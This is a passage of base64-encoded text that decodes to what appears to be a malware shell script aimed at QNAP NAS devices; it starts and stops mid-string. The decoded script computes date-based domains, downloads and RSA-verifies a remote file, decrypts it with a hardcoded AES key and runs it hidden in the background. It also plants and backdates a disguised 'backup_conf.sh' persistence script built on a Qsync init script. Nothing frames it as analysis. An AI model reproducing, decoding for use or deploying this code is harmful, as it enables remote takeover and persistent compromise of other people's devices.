gPDxFT0YgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPSJncmVwIC1GIiB8fCB7IGNvbW1hbmQgLXYgZmdyZXAgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPWZncmVwIHx8IGZncmVwPWdyZXA7IH0KCkVPRgp0ZXN0ICIkZmdyZXAiIHx8IGZncmVwPWdyZXAKdGVzdCAiJFJBTkRPTSIgfHwgUkFORE9NPTE3NjUzCmdlbnJzdHIgKCkgCnsgCiAgICBsb2NhbCBzPTsKICAgIGxvY2FsIG1pbj0kezE6LTR9OwogICAgbG9jYWwgbWF4PSR7MjotMTJ9OwogICAgbG9jYWwga3NwYWNlPSIkezM6LWEtekEtWn0iCiAgICB0ciAtZGMgIiRrc3BhY2UiIDwgL2Rldi91cmFuZG9tIHwgeyAKICAgICAgICByZWFkIC1ybiAkKCgkUkFORE9NICUgKCAkbWF4IC0gJG1pbiArIDEgKSArICRtaW4gKSkgczsKICAgICAgICBlY2hvICIkcyIKICAgIH0KfQoKdmVyaWZ5ZmlsZSgpIHsKbG9jYWwgZmlsZT0iJDEiCmxvY2FsIHNpZz0iJHsyOi0kZmlsZV9zfSIKbG9jYWwgb3V0CnRlc3QgISAteiAiJGZpbGUiICYmIHRlc3QgLXMgIiRmaWxlIiB8fCByZXR1cm4gMQp0ZXN0ICEgLXogIiRzaWciICYmIHRlc3QgLXMgIiRzaWciIHx8IHJldHVybiAxCnRlc3QgLWYgIi5yc2FrZXkiIHx8IGVjaG8gIiR2ZXJpZnlrZXkiID4gIi5yc2FrZXkiCm91dD0kKG9wZW5zc2wgZGdzdCAtc2hhMSAtdmVyaWZ5ICIucnNha2V5IiAtc2lnbmF0dXJlICIkc2lnIiAiJGZpbGUiKSAmJiB0ZXN0ICIkb3V0IiA9ICJWZXJpZmllZCBPSyIgJiYgcmV0dXJuIDAKcmV0dXJuIDEKfQoKZGVjcnlwdGZpbGUoKSB7CmxvY2FsIGZpbGU9IiQxIgpsb2NhbCBvZmlsZT0iJHsyOi0ke2ZpbGV9fSIKbG9jYWwga2V5PSc3QzB2SzRTek1PMTV6QnhMRDdYQ2k1aGJqZ1AxWmprSicKb3BlbnNzbCBlbmMgLWQgLWFlcy0yNTYtY2JjIC1rICIka2V5IiAtbWQgc2hhMSAtc2FsdCA8ICIkZmlsZSIgPiAiJHtmaWxlfV9kIiB8fCByZXR1cm4gJD8KdGVzdCAtZiAiJG9maWxlIiAmJiBybSAtZiAiJG9maWxlIgptdiAiJHtmaWxlfV9kIiAiJG9maWxlIiAmJiByZXR1cm4gMApyZXR1cm4gMQp9Cgp2ZXJpZnlrZXk9Jy0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tCk1JSUJvakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBWThBTUlJQmlnS0NBWUVBdC9FRFQ2U0I3NWF0ckhXN0Nwb2cKQ1hxckJNMkNWYkpvJzt2ZXJpZnlrZXk9IiR7dmVyaWZ5a2V5fSInZzRyd3dTJyd6MUJwMWkxJwp2ZXJpZnlrZXk9IiR7dmVyaWZ5a2V5fSInQjdCOVdkNTFubzMybHBScU9NKzlHT3IyVzE3eHdKOHBxcFFvdGV4ClJDNXFRU2lTLzdGUzQ4anNQS3NKbnJVaG5zSTFmUkxNNERxc0VGM1VPdWtadURPWVVobHRlRHVNcXFaQnowQUMKUTNZbkxqcmFUamNoTUYwWG1hQUFjV09rZzVNc3hBT0tUZXB1ZTRSL3RuclBBa0FHODZucTVMQTErd2E3b3BOVgpnUXp3RGg3WVhoQm5XejUyK2ViWjlUZXFEMzEvc2I1aG95VUtmMU5yNUhjS2trbE9idXoxT0dRSi8vcGtDYlRDCjJFblF3NnRDUFFoZ1NJQTh3SktrYXhXMGYvVUhQK1lCbVdhNFduK3VQckpKdUhTVk5FSnRBcDJ3bFgzVEhsdHoKMElHUFFFdXpvYWZPQWwzRUZqYXMzSGNUWDJIbEVmbnZBdFJMMmlMeEplYmExblorVTNnZVpPdXhMMU5oV2hOaApwamFMY0t3aGtSY2s3WTVocjFQejhwTERuWHN4NXcwUVV6NlhTOEhWZi9LSG5OWEh1ZkZFbjAxeTlZb1B1YXUxCkRObnBER2JxNjMyQnM4RVNkM3VlSGs5T1kvVVp4V2VOM1VkYnNlRnhLMzVYQWdNQkFBRT0KLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tJwoKRE9NQUlOX0VYVF9BPSdjZiB0ayBtbCBnYSBncScKRE9NQUlOX0VYVF9CPSdjb20gYml6IG9yZyBkZSByb2NrcyBteCBjbiB0b3AgbmwgbWVuIHdzIHNlIGluZm8geHl6IG5ldCB0b2RheSBydSBmaSBuYW1lIHRvIGluIGNvbS51YSB2ZyB2biBjZCcKCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1rZGlyICIke2JkaXJ9Ly5xcGtnIgp0ZXN0IC1kICIke2JkaXJ9Ly5xcGtnLy5jb25maWciIHx8IG1rZGlyICIke2JkaXJ9Ly5xcGtnLy5jb25maWciCmNkICIke2JkaXJ9Ly5xcGtnLy5jb25maWciICYmIHJtIC1mIC50bXAuKgoKZWNobyAiJHZlcmlmeWtleSIgPiAiLnJzYWtleSIKaT0wIG49MCBjPTAgZXJyb3Jjb3VudD0wCm91dGZpbGU9JChta3RlbXAgIi4vLnRtcC5YWFhYWFgiKSB8fCBvdXRmaWxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0kKG1rdGVtcCAiLy50bXAuWFhYWFhYIikgfHwgb3V0ZmlsZT0nLi8udG1wLm91dCcKCmZvciBkb21haW5leHRzIGluICIkRE9NQUlOX0VYVF9BIiAiJERPTUFJTl9FWFRfQiI7IGRvCiAgICAgICAgZm9yIGV4dCBpbiAkZG9tYWluZXh0czsgZG8KICAgICAgICAgICAgICAgIGhvc3RuYW1lPSQoZWNobyAiJCgoICQoZGF0ZSArJXMpIC8gMTI5NjAwMCApKUliakdPRWdudUQke2V4dH0iIHwgb3BlbnNzbCBkZ3N0IC1zaGExIC1iaW5hcnkgfCBvcGVuc3NsIGJhc2U2NCB8IHNlZCAneS9BQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWi0rXC8vYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXphYmMvO3MvPS8vZycpCiAgICAgICAgICAgICAgICBob3N0bmFtZT0ke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV19CiAgICAgICAgICAgICAgICBob3N0bmFtZXM9IiR7aG9zdG5hbWUlW2EtejAtOV1bYS16MC05XVthLXowLTldW2EtejAtOV19ICR7aG9zdG5hbWUlW2EtejAtOV1bYS16MC05XVthLXowLTldfSIKICAgICAgICAgICAgICAgIGhvc3RuYW1lcz0iJGhvc3RuYW1lcyAke2hvc3RuYW1lJVthLXowLTldW2EtejAtOV19ICR7aG9zdG5hbWUlW2EtejAtOV19ICRob3N0bmFtZSIKICAgICAgICAgICAgICAgIGZvciBob3N0IGluICRob3N0bmFtZXM7IGRvCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgLWYgIiRvdXRmaWxlIiAmJiBybSAtZiAiJG91dGZpbGUiCiAgICAgICAgICAgICAgICAgICAgICAgIHJlY2VudHVwZGF0ZT0nJwogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwIC1rIC1vICIkb3V0ZmlsZSIgImh0dHBzOi8vJHtob3N0fS4ke2V4dH0vcW5hcF9maXJtd2FyZS54bWw/dD0kKGRhdGUgKyVzKSIKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAtcyAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIGZzaXplPSQoKCAkKHdjIC1jIDwgIiRvdXRmaWxlIikgKSkKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJGZzaXplIiAtZ3QgNDA5NiAmJiBybSAtZiAiJG91dGZpbGUiICYmIGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHJzYW1zZz0kKG9wZW5zc2wgYmFzZTY0IC1pbiAiJG91dGZpbGUiIC1kIHwgb3BlbnNzbCByc2F1dGwgLXB1YmluIC1pbmtleSAiLnJzYWtleSIgLXZlcmlmeSkgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHJzYW1zZyIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgcGF0aD0iJHtyc2Ftc2clfCp9IjsgcnNhZG9tYWluPSIke3BhdGglfCp9IjsgcGF0aD0iJHtwYXRoIyp8fSIKICAgICAgICAgICAgICAgICAgICAgICAgaGFzaD0iJHtyc2Ftc2cjIyp8fSI7IHRzPSIke2hhc2gjKl99IjsgaGFzaD0iJHtoYXNoJV8qfSIKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHJzYWRvbWFpbiIgPSAiJHtob3N0fS4ke2V4dH0iIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgIHRpbWVub3c9JChkYXRlICslcykKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCAiJHRzIiAtZ3QgMCAmJiB7IHRlc3QgIiR0cyIgLWd0ICIkdGltZW5vdyIgfHwgdGVzdCAkKCggJHRpbWVub3cgLSAkdHMgKSkgLWx0IDE3MjgwMDsgfSAmJiByZWNlbnR1cGRhdGU9MQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwMCAtayAtbyAiJG91dGZpbGUiICJodHRwczovLyR7aG9zdH0uJHtleHR9LyR7cGF0aH0iCiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVoYXNoPSQob3BlbnNzbCBkZ3N0IC1zaGExIC1iaW5hcnkgIiRvdXRmaWxlIiB8IG9wZW5zc2wgYmFzZTY0KSB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICB0ZXN0ICIkZmlsZWhhc2giID0gIiRoYXNoIiB8fCBjb250aW51ZQogICAgICAgICAgICAgICAgICAgICAgICBjdXJsIC0tY29ubmVjdC10aW1lb3V0IDEyIC1tIDMwIC1rIC1vICIke291dGZpbGV9X3MiICJodHRwczovLyR7aG9zdH0uJHtleHR9L3MvJHtwYXRofSIKICAgICAgICAgICAgICAgICAgICAgICAgdmVyaWZ5ZmlsZSAiJG91dGZpbGUiICIke291dGZpbGV9X3MiICYmIGRlY3J5cHRmaWxlICIkb3V0ZmlsZSIgfHwgY29udGludWUKICAgICAgICAgICAgICAgICAgICAgICAgbXYgIiR7b3V0ZmlsZX1fcyIgIiR7dHN9X3YiCiAgICAgICAgICAgICAgICAgICAgICAgIGNobW9kIDc1NSAiJG91dGZpbGUiIHx8IGNvbnRpbnVlCiAgICAgICAgICAgICAgICAgICAgICAgICggKCBleGVjID4vZGV2L251bGwgMj4vZGV2L251bGwgPC9kZXYvbnVsbDsgIiRvdXRmaWxlIiA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMSAmICkgJiApCiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QgIiRyZWNlbnR1cGRhdGUiIC1lcSAxICYmIGV4aXQgMAogICAgICAgICAgICAgICAgZG9uZQogICAgICAgIGRvbmUKZG9uZQoKCmlmIFsgIiRmcm9tcmNTIiA9ICdUUlVFJyBdOyB0aGVuCiMgaWYgUXN5bmMgaXMgZGlzYWJsZSBiZWZvcmUgNC4zLjAsIHdlIHdpbGwgdG91Y2ggL21udC9IREFfUk9PVC91ZHBhdGVfcGtnLy5Rc3luY1NlcnZlcl9kaXNhYmxlZApzZXRfZGVmYXVsdF9kaXNhYmxlX3N0YXR1cygpCnsKCVFQS0dfRU5BQkxFPWAkQ01EX0dFVENGRyAke1FTWU5DX05BTUV9IEVuYWJsZSAtZCAiTlVMTCIgLWYgJHtRUEtHX0NPTkZ9YAoJT0xEX0VOQUJMRT1gJENNRF9HRVRDRkcgUXN5bmMgRW5hYmxlIC11IC1kIE5VTExgCglpZiBbIC1mICIke1VQREFURVBLR19ESVJ9Ly4ke1FTWU5DX05BTUV9X3JlbW92ZWQiIF07IHRoZW4KCQlyZXR1cm4KCWZpCgoJaWYgWyAiJFFQS0dfRU5BQkxFIiA9ICJOVUxMIiBdOyB0aGVuCgkJaWYgWyAiJE9MRF9FTkFCTEUiID0gIkZBTFNFIiBdOyB0aGVuCgkJCWRiZyAidG91Y2ggJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZCIKCQkJL2Jpbi90b3VjaCAiJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZCIKCQlmaQoJZmkKfQoKaWYgWyAieCRIQlNfRU5BQkxFIiA9IHhudWxsIF0gfHwgWyAieCRIQlNfRU5BQkxFIiA9IHhGQUxTRSBdOyB0aGVuCglleHBvcnQgUU5BUF9RUEtHPXJ0cnIKZWxzZQoJZXhwb3J0IFFOQVBfUVBLRz1IeWJyaWRCYWNrdXAKCS91c3IvbG9jYWwvc2Jpbi9xYm9vc3RfdXRpbCAtUyAtbiBydHJyIC1FIDAgMT4vZGV2L251bGwgMj4mMQpmaQpzdGFydCgpCnsKCWlmIFsgLWYgL3Vzci9iaW4vcXN5bmNtYW4gXTsgdGhlbgoJCVsgISAtZiAvZXRjL2NvbmZpZy9oZGNvcHl1c2IuY29uZiBdIHx8IC9iaW4vcm0gLWYgL2V0Yy9jb25maWcvaGRjb3B5dXNiLmNvbmYKCQkvYmluL3NlZCAtaSAnL2hkdXNiX2NvcHkvZCcgL2V0Yy9jb25maWcvY3JvbnRhYgoJCS91c3IvYmluL2Nyb250YWIgL2V0Yy9jb25maWcvY3JvbnRhYgoJCWVjaG8gLW4gIlN0YXJ0aW5nIFFTeW5jIG1hbml0b3I6ICIKCQlbIC1kIC9ldGMvY29uZmlnL3FzeW5jIF0gfHwgL3Vzci9iaW4vaW5zdGFsbCAtZCAvZXRjL2NvbmZpZy9xc3luYwoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZiBdIHx8IC9iaW4vdG91Y2ggL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNqb2JkZWYuY29uZiBdIHx8IC9iaW4vdG91Y2ggL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNqb2JkZWYuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmMuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9xc3luYy5jb25mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYKCQlbIC1mIC9ldGMvY29uZmlnL3FzeW5jL2V4dGRydi5jb25mIF0gfHwgL2Jpbi9jcCAtcCAvZXRjL2RlZmF1bHRfY29uZmlnL3FzeW5jL2V4dGRydi5jb25mIC9ldGMvY29uZmlnL3FzeW5jL2V4dGRydi5jb25mCgkJWyAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZgoJCVsgISAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiBdIHx8IC9iaW4vY2htb2QgNjQwIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jZC5jb25mCgkJWyAhIC1mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xc3luYy5jb25mCgkJWyAhIC1mIC9ldGMvY29uZmlnL3FzeW5jL3Fob3N0LmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xaG9zdC5jb25mCgkJL3NiaW4vZGFlbW9uX21nciBxc3luY21hbiBzdGFydCAiL3Vzci9iaW4vcXN5bmNtYW4gMT4vZGV2L251bGwgMj4mMSIKCQllY2hvICJPSyIKCWZpCn0KCnN0b3AoKQp7CgllY2hvICJTaHV0dGluZyBkb3duIFFTeW5jIG1vbml0b3I6IE9LIgogICAgICAgIHBpZG51bT1gL2Jpbi9waWRvZiBxc3luY2BgL2Jpbi9waWRvZiBxc3luY2RgCiAgICAgICAga2lsbCAkcGlkbnVtIDI+L2Rldi9udWxsCiAgICAgICAgaT0wCiAgICAgICAgd2hpbGUgWyAke2l9IC1sdCA1IF0KICAgICAgICBkbwogICAgICAgICAgICAgICAgcGlkbnVtPWAvYmluL3BpZG9mIHFzeW5jYGAvYmluL3BpZG9mIHFzeW5jZGAKICAgICAgICAgICAgICAgIGlmIFsgLXogIiRwaWRudW0iIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgIGZpCiAgICAgICAgICAgICAgICBzbGVlcCAxCiAgICAgICAgICAgICAgICBpPWAvdXNyL2Jpbi9leHByICR7aX0gKyAxYAogICAgICAgIGRvbmUKICAgICAgICBwaWRudW09YC9iaW4vcGlkb2YgcXN5bmNgYC9iaW4vcGlkb2YgcXN5bmNkYAogICAgICAgIFsgLXogIiRwaWRudW0iIF0gfHwga2lsbCAtOSAkcGlkbnVtIDI+L2Rldi9udWxsCgkvc2Jpbi9kYWVtb25fbWdyIHFzeW5jbWFuIHN0b3AgIi91c3IvYmluL3FzeW5jbWFuIgoJL3Vzci9iaW4va2lsbGFsbCAtcSBxc3luY21hbgp9CgpzdGFydF9xc3luY2QoKQp7CgkjX3FzeW5jZF9lbj1gL3NiaW4vZ2V0Y2ZnICIiIEVuYWJsZWQgLWQgMCAtZiAvZXRjL3FzeW5jL3FzeW5jZC5jb25mYAoJI1sgIngkX3FzeW5jZF9lbiIgPSB4MSBdIHx8IHJldHVybiAtMQoJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCVsgLXogJF9xc3luY2RfcnVuX3BpZCBdIHx8IHJldHVybiAtMTE0CglfcmVjeWNsZV9lbj1gL3NiaW4vZ2V0Y2ZnICdOZXR3b3JrIFJlY3ljbGUgQmluJyBFbmFibGUgLWQgRkFMU0VgCglfd2l0aF9zeXNsb2c9JDEKCWlmIFsgIngkX3JlY3ljbGVfZW4iID0geFRSVUUgIF07IHRoZW4KCQlpZiBbICJ4JF93aXRoX3N5c2xvZyIgPSB4MSAgXTsgdGhlbgoJCQlMRF9QUkVMT0FEPS91c3IvbG9jYWwvbGliL2xpYnRyYXNoLnNvIC91c3IvYmluL3FzeW5jZCAtc3lzbG9nIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQllbHNlCgkJCUxEX1BSRUxPQUQ9L3Vzci9sb2NhbC9saWIvbGlidHJhc2guc28gL3Vzci9iaW4vcXN5bmNkIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQlmaQoJZWxzZQoJCWlmIFsgIngkX3dpdGhfc3lzbG9nIiA9IHgxICBdOyB0aGVuCgkJCS91c3IvYmluL3FzeW5jZCAtc3lzbG9nIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQllbHNlCgkJCS91c3IvYmluL3FzeW5jZCAtYzovZXRjL3FzeW5jL3FzeW5jZC5jb25mCgkJZmkKCWZpCglfaXJldD0kPwoJaWYgWyAieCRfaXJldCIgPSB4MCBdOyB0aGVuCgkJaT0wCgkJd2hpbGUgWyAke2l9IC1sdCAxMDAwMCBdCgkJZG8KCQkJZWNobyAiJHtpfSBtaWxsaXNlY29uZC4uLiIKCQkJX3FzeW5jZF9waWQ9YC9zYmluL2dldGNmZyAnJyBQaWQgLWQgLTEgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCQkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQkJaWYgWyAieCRfcXN5bmNkX3BpZCIgIT0gIngtMSIgXSAmJiBbICEgLXogJF9xc3luY2RfcnVuX3BpZCBdOyB0aGVuCgkJCQlicmVhawoJCQlmaQoJCQl1c2xlZXAgNTAwMDAKCQkJaT1gL3Vzci9iaW4vZXhwciAke2l9ICsgNTBgCgkJZG9uZQoJZmkKCXJldHVybiAtJF9pcmV0Cn0KCnN0b3BfcXN5bmNkKCkKewoJI19xc3luY2RfZW49YC9zYmluL2dldGNmZyAiIiBFbmFibGVkIC1kIDAgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCSNbICJ4JF9xc3luY2RfZW4iID0geDAgXSB8fCByZXR1cm4gLTEKCV9xc3luY2RfcGlkPWAvc2Jpbi9nZXRjZmcgIiIgUGlkIC1kIC0xIC1mIC9ldGMvcXN5bmMvcXN5bmNkLmNvbmZgCglbICRfcXN5bmNkX3BpZCAtbHQgMCBdICYmIHJldHVybiAtMwoJIyBTZW5kIFNJR1VTUjEgdG8gaW5mb3JtIHRoZSBkYWVtb24gdG8gb3V0cHV0ICJbUlRSUiBTZXJ2ZXJdIFN0b3BwZWQiIGV2ZW50IGxvZwoJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJdXNsZWVwIDIwMDAwMAoJIyBTZW5kIFNJR0lOVCB0byBzdG9wIHRoZSBRU3luY2QgcHJvY2VzcwoJL2Jpbi9raWxsIC1TSUdJTlQgJF9xc3luY2RfcGlkCglfa2lsbF9yZXQ9JD8KCWlmIFsgIngkX2tpbGxfcmV0IiAhPSB4MCBdOyB0aGVuCgkJcmV0dXJuIC0zCglmaQoJZWNobyAibmVlZCB3YWl0ICQxIG1pbGxpc2Vjb25kIgoJaT0wCgl3aGlsZSB0cnVlCglkbwoJCWVjaG8gIiR7aX0gbWlsbGlzZWNvbmQuLi4iCgkJX3FzeW5jZF9waWQ9YC9zYmluL2dldGNmZyAnJyBQaWQgLWQgLTEgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCQlfcXN5bmNkX3J1bl9waWQ9YC9iaW4vcGlkb2YgcXN5bmNkYAoJCWlmIFsgIngkX3FzeW5jZF9waWQiID0gIngtMSIgXSAmJiBbIC16ICRfcXN5bmNkX3J1bl9waWQgXTsgdGhlbgoJCQlicmVhawoJCWZpCgkJaWYgWyAke2l9IC1nZSAkMSBdOyB0aGVuCgkJCSMgaWYgdGltZS1vdXQsIHdlIHNlbmQgdHdvIGFkZGl0aW9uYWwgU0lHSU5UIHRvIGZvcmNlIHRoZSBkYWVtb24gdG8gc3RvcC4KCQkJaWYgWyAkX3FzeW5jZF9waWQgLWdlIDAgXTsgdGhlbgoJCQkJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJCQkJdXNsZWVwIDIwMDAwMAoJCQkJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJCQlmaQoJCQlqPTAKCQkJd2hpbGUgWyAke2p9IC1sdCA1MDAgXQoJCQlkbwoJCQkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQkJCWlmIFsgLXogJF9xc3luY2RfcnVuX3BpZCBdOyB0aGVuCgkJCQkJcmV0dXJuIDAKCQkJCWZpCgkJCQl1c2xlZXAgMjAwMDAKCQkJCWo9YC91c3IvYmluL2V4cHIgJHtqfSArIDIwYAoJCQlkb25lCgkJCXJldHVybiAtNjIKCQlmaQoJCXVzbGVlcCA1MDAwMAoJCWk9YC91c3IvYmluL2V4cHIgJHtpfSArIDUwYAoJZG9uZQoJcmV0dXJuIDAKfQoKCmluc3RhbGwoKQp7Cglsb2NrX2ZpbGU9Ii92YXIvbG9jay9xYm94X2luc3RhbGxfYmluLmxjayIKCglpZiBbICEgLWYgIiR7SU5TVEFMTF9CVUlMRF9JTn0iIF07IHRoZW4KCQlkYmcgImJ1aWxkLWluICR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGVkIgoJCXJldHVybiAxCglmaQoKCWlmIFsgISAtZiAke1VQREFURVBLR19ESVJ9LyR7UVNZTkNfTkFNRX0uYmluIF07IHRoZW4KCQlkYmcgIiR7UVNZTkNfTkFNRX0uYmlufSBub3QgZm91bmQiCgkJcmV0dXJuIDEKCWZpCgoJaWYgWyAhIC14ICIke1FQS0dfQ0xJfSIgXTsgdGhlbgoJCWRiZyAiJHtRUEtHX0NMSX0gbm90IGZvdW5kIgoJCXJldHVybiAxCglmaQoKCSMjIG1ha2Ugc3VyZSB2b2x1bWUgaXMgZXhpc3QKCWlmIFsgISAtZCAvc2hhcmUvYC9zYmluL2dldGNmZyBTSEFSRV9ERUYgZGVmUHVibGljIC1kIFB1YmxpYyAtZiAvZXRjL2NvbmZpZy9kZWZfc2hhcmUuaW5mb2AgXTsgdGhlbgoJCWRiZyAiL3NoYXJlL1B1YmxpYyBub3QgZm91bmQiCgkJcmV0dXJuIDEKCWZpCgoJIyMgaXMgcmVtb3ZlZCAKCWlmIFsgLWYgJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9yZW1vdmVkIF07IHRoZW4KCQkvYmluL3JtIC1mICR7SU5TVEFMTF9CVUlMRF9JTn0KCQlkYmcgIiR7UVNZTkNfTkFNRX0gaXMgcmVtb3ZlZCIKCQlyZXR1cm4gMQoJZmkKCglpZiBbIC1mICIkbG9ja19maWxlIiBdOyB0aGVuIAoJCWlmIFsgJCgoICQoZGF0ZSArJXMpIC0gJChkYXRlICslcyAtciAkbG9ja19maWxlKSApKSAtbGUgMTgwIF07IHRoZW4KCQkJZWNobyAiJHtRU1lOQ19OQU1FfSBpcyBpbnN0YWxsaW5nIgoJCQlkYmcgIiR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGluZyIKCQkJcmV0dXJuIDEKCQlmaQoJZmkKCgkvYmluL3RvdWNoICIkbG9ja19maWxlIgkKCS9iaW4vcm0gLWYgJHtJTlNUQUxMX0JVSUxEX0lOfQoJZGJnICJpbnN0YWxsIGJ1aWxkLWluICR7UVNZTkNfTkFNRX0gc3RhcnQiCgoJc2V0X2RlZmF1bHRfZGlzYWJsZV9zdGF0dXMKCgkjIyBpbnN0YWxsIGJ1aWxkIGluIFFzeW5jCgkke1FQS0dfQ0xJfSAtSyAtbSAke1VQREFURVBLR19ESVJ9LyR7UVNZTkNfTkFNRX0uYmluID4gL2Rldi9udWxsIDI+JjEKCXNsZWVwIDIwCgoJd2FpdF9pbnN0YWxsPTYwCgkjIyBhdm9pZCBpbml0aWFsIHRha2UgbG9uZyB0aW1lIG9yIGZhaWwKICAgICAgICB3aGlsZSBbICIkd2FpdF9pbnN0YWxsIiAtZ3QgMCBdOyBkbwoJCXN0Y29kZT1gJENNRF9HRVRDRkcgJHtRU1lOQ19OQU1FfS5iaW4gc3Rjb2RlIC1mIC9ldGMvY29uZmlnL3Fwa2dfam9iLmNvbmZgCiAgICAgICAgICAgICAgICBpZiBbICIkc3Rjb2RlIiA9ICIwIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICAgICAgc2xlZXAgMQogICAgICAgICAgICAgICAgbGV0ICJ3YWl0X2luc3RhbGwtLSIKICAgICAgICBkb25lCgoJJHtRUEtHX0NMSX0gLUMgJHtRU1lOQ19OQU1FfS5iaW4gPiAvZGV2L251bGwgMj4mMQoJL2Jpbi9ybSAtZiAke1VQREFURVBLR19ESVJ9Ly4ke1FTWU5DX05BTUV9X2Rpc2FibGVkCgkvYmluL3JtIC1mICIkbG9ja19maWxlIgkKCWRiZyAiaW5zdGFsbCBidWlsZC1pbiAke1FTWU5DX05BTUV9IHN1Y2Nlc3MiCn0KCmlmIFsgIiQxIiA9PSAic3RvcCIgXTsgdGhlbgoJZXhpdCAwCmZpCmZpClhFT0YKY2htb2QgNzU1ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giCnRvdWNoIC1jciAvYmluL2J1c3lib3ggIiR7YmRpcn0vLnFwa2cvLmNvbmZpZy9iYWNrdXBfY29uZi5zaCIKKCAoIGV4ZWMgPi9kZXYvbnVsbCAyPiYxIDwvZGV2L251bGw7ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giIDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmICkgJiApCmZpCgp0ZXN0IC14ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giIHx8IGNobW9kIDc1NSAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIgoKY3JvbnRhYmFyZ3M9JChwcyB8IGdyZXAgJ2NyW29dbmQgJyB8IHNlZCAtbiAncy8uKmNyb25kW14wLTlBLVphLXotXSpcKC5cK1wpL1wxL3AnKQp0cnljb3VudD0xMDsgdHJ5Y291bnQ9JCgoICR0cnljb3VudCAtIDEwICkpCnNldCB4ICRjcm9udGFiYXJnczsgc2hpZnQKd2hpbGUgWyAkIyAtZ3QgMCBdICYmIFsgJHRyeWNvdW50IC1sdCAxMCBdOyBkbwp0cnljb3VudD0kKCggJHRyeWNvdW50ICsgMSApKQpnZXR